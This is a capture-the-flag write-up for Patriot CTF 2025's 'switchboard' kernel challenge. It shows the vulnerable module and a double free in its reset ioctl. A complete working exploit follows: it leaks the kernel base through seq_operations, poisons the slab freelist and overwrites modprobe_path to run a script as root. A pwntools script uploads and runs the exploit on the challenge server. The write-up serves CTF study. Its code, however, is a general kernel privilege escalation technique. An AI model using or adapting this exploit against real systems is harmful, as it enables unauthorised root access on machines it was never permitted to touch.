Patriot CTF 2025
switchboard
Analysis
We are given the following kernel module
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
#include <linux/errno.h>
#include <linux/fs.h>
#include <linux/init.h>
#include <linux/kernel.h>
#include <linux/miscdevice.h>
#include <linux/module.h>
#include <linux/printk.h>
#include <linux/slab.h>
#include <linux/types.h>
#include <linux/uaccess.h>
#include <linux/unistd.h>
#define sb_dev_NAME "switchboard"
#define CLASS_NAME "switchboard"
#define BUF_SIZE 32
#define RST 0x10
#define N_SET 0x20
#define OBJ_SELECT 0x30
#define OBJ_NEW 0x40
#define SETTINGS 0x50
MODULE_AUTHOR("elbee");
MODULE_DESCRIPTION("switchboard");
MODULE_LICENSE("mine");
static struct miscdevice sb_dev;
typedef struct devices {
struct switch_device *device;
struct devices *next, *prev;
} devices;
struct switch_device {
char *buf;
void *head, *tail, *seek;
int len;
uint8_t inuse;
uint8_t freed;
unsigned long t_settings;
};
static devices *head;
int selected;
static struct switch_device *get(int index) {
devices *node = head;
int i;
if (index < 0 || node == 0)
return 0;
i = 0;
while (1) {
if (node->next == 0) {
break;
}
if (i == index) {
break;
}
node = node->next;
i++;
}
if (i != index) {
return 0;
}
return node->device;
}
static ssize_t add(struct switch_device *dev) {
devices *node = head;
devices *newdev = kzalloc(sizeof(devices), GFP_KERNEL_ACCOUNT);
if (!newdev)
return -ENOMEM;
newdev->device = dev;
newdev->next = 0;
newdev->prev = 0;
if (node == 0) {
head = newdev;
return 0;
}
while (1) {
if (node->next == 0) {
node->next = newdev;
node->next->prev = node;
break;
}
node->next->prev = node;
node = node->next;
}
return 0;
}
static unsigned long length(struct switch_device *dev) {
if ((dev->len) > BUF_SIZE)
return BUF_SIZE - 1;
return dev->len;
}
static ssize_t rx_handle(struct file *filp, const char __user *buffer,
size_t len, loff_t *off) {
struct switch_device *dev = get(selected);
unsigned long ret;
if (!dev)
return -1;
if (dev->inuse == 0) {
printk(KERN_ALERT "[switchboard] freeing\n");
if (dev->freed == 0)
kfree(dev->buf);
dev->buf = kzalloc(BUF_SIZE, GFP_KERNEL_ACCOUNT);
dev->tail = dev->buf;
dev->head = dev->buf;
dev->seek = dev->buf;
dev->len = BUF_SIZE - 1;
dev->inuse = 1;
dev->freed = 0;
}
ret = length(dev);
if (len < ret)
ret = len;
if (copy_from_user(dev->head, buffer, ret) != 0)
return -2;
dev->tail = (dev->head) + BUF_SIZE - 1;
return ret;
}
static ssize_t tx_handle(struct file *filp, char __user *buffer, size_t len,
loff_t *off) {
struct switch_device *dev = get(selected);
ssize_t i;
if (!dev)
return -1;
if (dev->inuse == 0) {
printk(KERN_ALERT "[switchboard] freeing\n");
if (dev->freed == 0)
kfree(dev->buf);
dev->buf = kzalloc(BUF_SIZE, GFP_KERNEL_ACCOUNT);
dev->tail = dev->buf;
dev->head = dev->buf;
dev->seek = dev->buf;
dev->len = BUF_SIZE - 1;
dev->inuse = 1;
dev->freed = 0;
}
if (dev->head == dev->tail)
return -3;
i = 0;
for (i = 0; i < len; i++) {
while (copy_to_user(buffer + i, dev->seek, 1) > 0) {
if (dev->t_settings & 0x1)
break;
printk(KERN_ALERT "[switchboard] retransmitting");
cond_resched();
}
dev->seek++;
if ((dev->seek) >= (dev->tail))
dev->seek = dev->head;
}
dev->seek = dev->head;
return i;
}
static long buf_reset(unsigned long arg) {
struct switch_device *dev = get(selected);
if (!dev)
return -1;
if (dev->inuse == 0) {
kfree(dev->buf);
dev->freed = 1;
return 1;
}
dev->seek = dev->head;
dev->inuse = 0;
return 0;
}
static long n_set(int arg) {
struct switch_device *dev = get(selected);
if (!dev)
return -1;
dev->len = arg;
return dev->len;
}
static long obj_select(unsigned long arg) {
struct switch_device *dev = get(arg);
if (!dev)
return -1;
selected = arg;
return 0;
}
static long obj_new(unsigned long arg) {
struct switch_device *dev =
kzalloc(sizeof(struct switch_device), GFP_KERNEL_ACCOUNT);
if (!dev)
return -ENOMEM;
dev->buf = kzalloc(BUF_SIZE, GFP_KERNEL_ACCOUNT);
if (!dev->buf) {
kfree(dev);
return -ENOMEM;
}
dev->head = dev->buf;
dev->tail = dev->buf;
dev->seek = dev->buf;
dev->len = 0;
dev->inuse = 1;
dev->freed = 0;
dev->t_settings = 0;
return (long)add(dev);
}
static long settings(unsigned long arg) {
struct switch_device *dev = get(selected);
if (!dev)
return -1;
dev->t_settings = arg;
return (long)dev->t_settings;
}
static long uart_manage(struct file *flip, unsigned int cmd,
unsigned long arg) {
int result;
switch (cmd) {
case RST:
result = buf_reset(arg);
break;
case N_SET:
result = n_set(arg);
break;
case OBJ_SELECT:
result = obj_select(arg);
break;
case OBJ_NEW:
result = obj_new(arg);
break;
case SETTINGS:
result = settings(arg);
break;
default:
result = -1;
}
return result;
}
static struct file_operations fops = {
.owner = THIS_MODULE,
.read = tx_handle, // kernel -> user
.write = rx_handle, // user -> kernel
.unlocked_ioctl = uart_manage, // ioctl
};
static int __init construct(void) {
sb_dev.minor = MISC_DYNAMIC_MINOR;
sb_dev.name = "switchboard";
sb_dev.fops = &fops;
if (misc_register(&sb_dev)) {
return -1;
}
printk(KERN_INFO "[switchboard] hello!\n");
head = 0;
selected = -1;
return 0;
}
static void __exit destruct(void) {
devices *node = head;
if (node != 0) {
while (1) {
devices *fd = node->next;
if (node->device->buf != 0)
kfree(node->device->buf);
kfree(node->device);
kfree(node);
if (!fd)
break;
node = fd;
}
}
misc_deregister(&sb_dev);
printk(KERN_INFO "[switchboard] goodbye\n");
}
module_init(construct);
module_exit(destruct);
On running kchecksec from pwndbg we get this
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
pwndbg> kconfig
CONFIG_SLUB_CPU_PARTIAL = y
CONFIG_MEMCG = y
CONFIG_SLAB_FREELIST_RANDOM = y
CONFIG_NUMA = y
CONFIG_SMP = y
pwndbg> kchecksec
CONFIG_STACKPROTECTOR not set
CONFIG_STACKPROTECTOR_STRONG not set
CONFIG_SHADOW_CALL_STACK not set
CONFIG_STRICT_KERNEL_RWX not set
CONFIG_STRICT_MODULE_RWX not set
CONFIG_DEBUG_WX not set
CONFIG_RANDOMIZE_BASE not set
CONFIG_RANDOMIZE_KSTACK_OFFSET_DEFAULT not set
CONFIG_RANDOMIZE_MODULE_REGION_FULL not set
CONFIG_KALLSYMS not set
CONFIG_SLAB_FREELIST_HARDENED not set
CONFIG_SLAB_FREELIST_RANDOM = y
CONFIG_KFENCE not set
CONFIG_INIT_ON_ALLOC_DEFAULT_ON not set
CONFIG_INIT_STACK_ALL_ZERO not set
CONFIG_INIT_ON_FREE_DEFAULT_ON not set
CONFIG_CFI_CLANG not set
CONFIG_CFI_PERMISSIVE not set
CONFIG_SECURITY not set
CONFIG_SECURITY_YAMA not set
CONFIG_SECURITY_SELINUX_DISABLE not set
CONFIG_SECURITY_SELINUX_BOOTPARAM not set
CONFIG_SECURITY_SELINUX_DEVELOP not set
CONFIG_KPROBES not set
CONFIG_FTRACE not set
CONFIG_KPROBE_EVENTS not set
CONFIG_UPROBE_EVENTS not set
CONFIG_GENERIC_TRACER not set
CONFIG_FUNCTION_TRACER not set
CONFIG_STACK_TRACER not set
CONFIG_STRICT_DEVMEM not set
CONFIG_DEVMEM not set
CONFIG_DEVKMEM not set
CONFIG_DEBUG_FS not set
CONFIG_PTDUMP_DEBUGFS not set
CONFIG_BUG not set
CONFIG_MODULES not set
CONFIG_USERFAULTFD not set
CONFIG_FORTIFY_SOURCE not set
CONFIG_STATIC_USERMODEHELPER not set
CONFIG_HARDENED_USERCOPY not set
CONFIG_RODATA_FULL_DEFAULT_ENABLED not set
CONFIG_RANDSTRUCT_FULL not set
CONFIG_TRIM_UNUSED_KSYMS not set
CONFIG_SECURITY_DMESG_RESTRICT not set
CONFIG_PROC_KCORE not set
CONFIG_PROC_VMCORE not set
CONFIG_COMPAT_VDSO not set
CONFIG_BINFMT_MISC not set
CONFIG_X86_SMAP not set
CONFIG_IA32_EMULATION not set
CONFIG_X86_X32 not set
The useful stuff for us is
1
2
CONFIG_SLAB_FREELIST_HARDENED not set
CONFIG_STATIC_USERMODEHELPER not set
The former will remove mangling of next pointer of freelist (easier to exploit), while the later will imply that modprobe_path is in a rw- memory region. Basically by overwriting modprobe_path with a fake script path, we can run the fake script with root privileges.
Vulnerability
There is a very obvious vulnerability in the kernel module
1
2
3
4
5
6
7
8
9
10
11
12
13
static long buf_reset(unsigned long arg) {
struct switch_device *dev = get(selected);
if (!dev)
return -1;
if (dev->inuse == 0) {
kfree(dev->buf);
dev->freed = 1;
return 1;
}
dev->seek = dev->head;
dev->inuse = 0;
return 0;
}
On first call, the if (dev->inuse == 0) { ... } block will be ignored and dev->inuse = 0 will be set. On second call, the code block will be executed which frees the dev->buf and marks it as freed: dev->freed = 1. However, there is no check on dev->freed. This means that on another call, the code block will be executed again, leading to a double free vulnerability.
Exploit
We start off by creating 2 objects and free-ing them
1
2
3
4
5
6
7
8
9
ioctl(fd, OBJ_NEW); // [0]
ioctl(fd, OBJ_NEW); // [1]
ioctl(fd, OBJ_SELECT, 0);
ioctl(fd, RST);
ioctl(fd, RST);
ioctl(fd, OBJ_SELECT, 1);
ioctl(fd, RST);
ioctl(fd, RST);
At this point both of these object’s dev->buf has been freed and the freelist for kmalloc-cg-32 looks like this: obj1.buf --> obj0.buf --> ...
Next we will create another object
1
ioctl(fd, OBJ_NEW); // [2]
Creating a new object makes 3 allocations, 2 of which are in the kmalloc-cg-32 slab. More precisely obj2.buf will share the same memory as obj1.buf and obj2.dev will share the same memory as obj0.buf.
Now we will free obj1->buf again. At this point our freelist looks like: obj2.buf --> ...
Now I will open /proc/self/stat
1
open("/proc/self/stat", O_RDONLY);
The reason I do this is because opening /proc/self/stat causes the kernel to make an allocation in kmalloc-cg-32 to allocate the seq_operations struct (more info on that here). This struct contains function pointers and overlaps with obj2.buf
Because obj2 has not been RST so it is still inuse. This means that we can read from it, giving us function pointers (kaslr) leaks
1
2
3
ioctl(fd, OBJ_SELECT, 2);
write(fd, buffer, 0);
read(fd, buffer, sizeof(buffer));
However, because of the logic in the module, we must make a dummy write in order to unlock the read capability.
Once we have the leaks, we can use that to calculate the kbase and address of modprobe_path
1
2
3
4
kbase = *(uint64_t *)&buffer[0] - 0x2531a0;
modprobe_addr = kbase + 0x1850b20;
printf("[+] kbase = %#lx\n", kbase);
printf("[+] modprobe_addr = %#lx\n", modprobe_addr);
Next we will free obj1.buf again
1
2
ioctl(fd, OBJ_SELECT, 1);
ioctl(fd, RST);
Recall that obj1.buf overlaps with obj2.buf (and seq_operations). Freeing it puts it on the top of the freelist. Now we can use obj2 to overwrite the next pointer and hijack the kmalloc-cg-32 slab
1
2
3
4
ioctl(fd, OBJ_SELECT, 2);
*(uint64_t *)&buffer[16] = modprobe_addr;
ioctl(fd, N_SET, BUF_SIZE);
write(fd, buffer, sizeof(buffer));
At this point, the freelist looks like this: obj2.buf --> modprobe_path --> fake/garbage (null in this case)
So at this point what happens if we allocate another object? This 4th object will have obj3.buf == obj2.buf and obj3.dev == modprobe_path. Which is NOT what we want. We want the .buf to be allocated at modprobe_path.
An easy way to fix this would be to use our first object (obj0) and free it, putting it on the top of the freelist. Now the new structure would look like this: obj0.buf --> obj2.buf --> modprobe_path --> fake/garbage (null in this case). This way we can create a dummy object, which will consume the first 2 entries, and then the final object will have its .buf at modprobe_path :D
1
2
3
4
ioctl(fd, OBJ_SELECT, 0);
ioctl(fd, RST);
ioctl(fd, OBJ_NEW); // [3] (dummy)
ioctl(fd, OBJ_NEW); // [4] (at modprobe_addr)
Now its trivial to overwrite modprobe_path with a fake script path
1
2
3
ioctl(fd, OBJ_SELECT, 4);
ioctl(fd, N_SET, BUF_SIZE);
write(fd, root_script_path, strlen(root_script_path) + 1);
Now all the exploitation work is over. You can use GDB and verify the overwrite with x/s &modprobe_path
Now we can create the fake scripts, mark them as executable, and run the bad script. This will cause the kernel to use modprobe_path (overwritten to fake root script) to determine how to deal with this “bad file”
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
close(fd);
fd = open(root_script_path, O_CREAT | O_WRONLY);
write(fd, root_script, strlen(root_script));
close(fd);
chmod(root_script_path, 0777);
fd = open(bad_script_path, O_CREAT | O_WRONLY);
write(fd, bad_script, strlen(bad_script));
close(fd);
chmod(bad_script_path, 0777);
execve(bad_script_path, NULL, NULL);
memset(buffer, '\0', sizeof(buffer));
fd = open("/flag", O_RDONLY);
read(fd, buffer, sizeof(buffer));
printf("Flag -> %s\n", buffer);
close(fd);
Here is the final exploit script
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
#include <fcntl.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/stat.h>
#include <unistd.h>
#define BUF_SIZE 32
#define RST 0x10
#define N_SET 0x20
#define OBJ_SELECT 0x30
#define OBJ_NEW 0x40
#define SETTINGS 0x50
void die(const char *msg) {
perror(msg);
exit(EXIT_FAILURE);
}
void dump(void *addr, size_t len) {
puts("[BEGIN] dump");
for (size_t i = 0; i < len; i += 8) {
printf("\t [%04ld] : %#lx\n", i, *(uint64_t *)((uint8_t *)addr + i));
}
puts("[END] dump");
}
void real_pause() {
puts("[PAUSED] Press enter to continue...");
getchar();
}
int main(void) {
int fd;
uint64_t kbase;
uint64_t modprobe_addr;
char buffer[BUF_SIZE];
char *root_script, *root_script_path;
char *bad_script, *bad_script_path;
root_script = "#!/bin/sh\nchmod 777 /flag\n";
root_script_path = "/tmp/a";
bad_script = "\xff\xff\xff\xff";
bad_script_path = "/tmp/b";
puts("[*] Starting exploit...");
fd = open("/dev/switchboard", O_RDWR);
printf("[+] Got fd = %d\n", fd);
ioctl(fd, OBJ_NEW); // [0]
ioctl(fd, OBJ_NEW); // [1]
ioctl(fd, OBJ_SELECT, 0);
ioctl(fd, RST);
ioctl(fd, RST);
ioctl(fd, OBJ_SELECT, 1);
ioctl(fd, RST);
ioctl(fd, RST);
ioctl(fd, OBJ_NEW); // [2]
ioctl(fd, RST); // free [1]
open("/proc/self/stat", O_RDONLY);
ioctl(fd, OBJ_SELECT, 2);
write(fd, buffer, 0);
read(fd, buffer, sizeof(buffer));
kbase = *(uint64_t *)&buffer[0] - 0x2531a0;
modprobe_addr = kbase + 0x1850b20;
printf("[+] kbase = %#lx\n", kbase);
printf("[+] modprobe_addr = %#lx\n", modprobe_addr);
ioctl(fd, OBJ_SELECT, 1);
ioctl(fd, RST);
ioctl(fd, OBJ_SELECT, 2);
*(uint64_t *)&buffer[16] = modprobe_addr;
ioctl(fd, N_SET, BUF_SIZE);
write(fd, buffer, sizeof(buffer));
ioctl(fd, OBJ_SELECT, 0);
ioctl(fd, RST);
ioctl(fd, OBJ_NEW); // [3] (dummy)
ioctl(fd, OBJ_NEW); // [4] (at modprobe_addr)
ioctl(fd, OBJ_SELECT, 4);
ioctl(fd, N_SET, BUF_SIZE);
write(fd, root_script_path, strlen(root_script_path) + 1);
close(fd);
fd = open(root_script_path, O_CREAT | O_WRONLY);
write(fd, root_script, strlen(root_script));
close(fd);
chmod(root_script_path, 0777);
fd = open(bad_script_path, O_CREAT | O_WRONLY);
write(fd, bad_script, strlen(bad_script));
close(fd);
chmod(bad_script_path, 0777);
execve(bad_script_path, NULL, NULL);
memset(buffer, '\0', sizeof(buffer));
fd = open("/flag", O_RDONLY);
read(fd, buffer, sizeof(buffer));
printf("Flag -> %s\n", buffer);
close(fd);
return EXIT_SUCCESS;
}
Run it against the remote (or local instance) with this script
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#!/usr/bin/env python
from pwn import *
from gzip import GzipFile
from io import BytesIO
from tqdm import tqdm
from os import system
system('musl-gcc -static -s -o exploit exploit.c')
# Edit these
host = '18.212.136.134'
port = 6767
def chunk_exploit(exploit, chunk_size=500):
for i in range(0, len(exploit), chunk_size):
yield exploit[i:i+chunk_size]
exploit = BytesIO()
with open('./exploit', 'rb') as f_in:
with GzipFile(fileobj=exploit, mode='wb') as f_out:
f_out.write(f_in.read())
exploit = exploit.getvalue()
exploit = b64e(exploit)
if args.REMOTE:
io = remote(host, port)
else:
io = process('./launch.sh')
print('waiting for vm to load')
io.recvuntil(b'$')
io.sendline(b'cd /tmp')
chunks = list(chunk_exploit(exploit))
for chunk in tqdm(chunks, desc="Uploading exploit", unit="chunk"):
io.sendline(f'echo -n "{chunk}" >> exploit.gz.b64'.encode())
io.recvuntil(b'$')
io.sendline(b'base64 -d exploit.gz.b64 > exploit.gz')
io.sendline(b'gunzip exploit.gz')
io.sendline(b'chmod +x exploit')
io.clean()
io.sendline(b'./exploit')
io.interactive()
And you will get the flag
1
2
3
4
5
6
7
8
9
10
11
$ ./solve.py
[+] Starting local process './launch.sh': pid 724443
waiting for vm to load
Uploading exploit: 100%|█████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████| 36/36 [00:03<00:00, 11.65chunk/s]
[*] Switching to interactive mode
./exploit
[*] Starting exploit...
[+] Got fd = 3
[+] kbase = 0xffffffff81000000
[+] modprobe_addr = 0xffffffff82850b20
Flag -> pctf{000000000000000000}
On the remote you will get the real flag: pctf{n1c3_k3rn3l_sl4b_938f238}